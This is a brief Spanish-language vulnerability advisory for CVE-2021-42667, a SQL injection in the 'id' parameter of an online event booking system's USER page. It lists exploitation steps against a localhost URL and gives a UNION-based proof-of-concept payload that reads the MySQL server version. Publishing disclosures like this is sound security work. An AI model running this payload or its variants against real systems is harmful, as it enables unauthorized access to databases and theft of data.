CVE-2021-42667

CVE-2021-42667 - Vulnerabilidad de inyección SQL en el sistema de reservas y reserva de eventos en línea versión 2.3.0.

Descripción técnica:

Existe una vulnerabilidad de inyección SQL en el software de gestión de eventos versión 2.3.0. Un atacante puede aprovechar el parámetro vulnerable "id" en la página web "USER" para manipular la consulta SQL realizada. Como resultado, el atacante puede extraer datos sensibles del servidor web.

Página vulnerable - USER

Parámetro vulnerable - "id"

Pasos para explotar:

1. Navegar a http://localhost/event-management/views/?v=USER&ID=1
2. Insertar su payload en el parámetro id

Prueba de concepto (PoC) -

El siguiente payload le permitirá extraer la versión del servidor MySql que se ejecuta en el servidor web -

UNION ALL SELECT NULL,NULL,NULL,@@version,NULL,NULL,NULL,NULL,NULL;-- -

Referencias -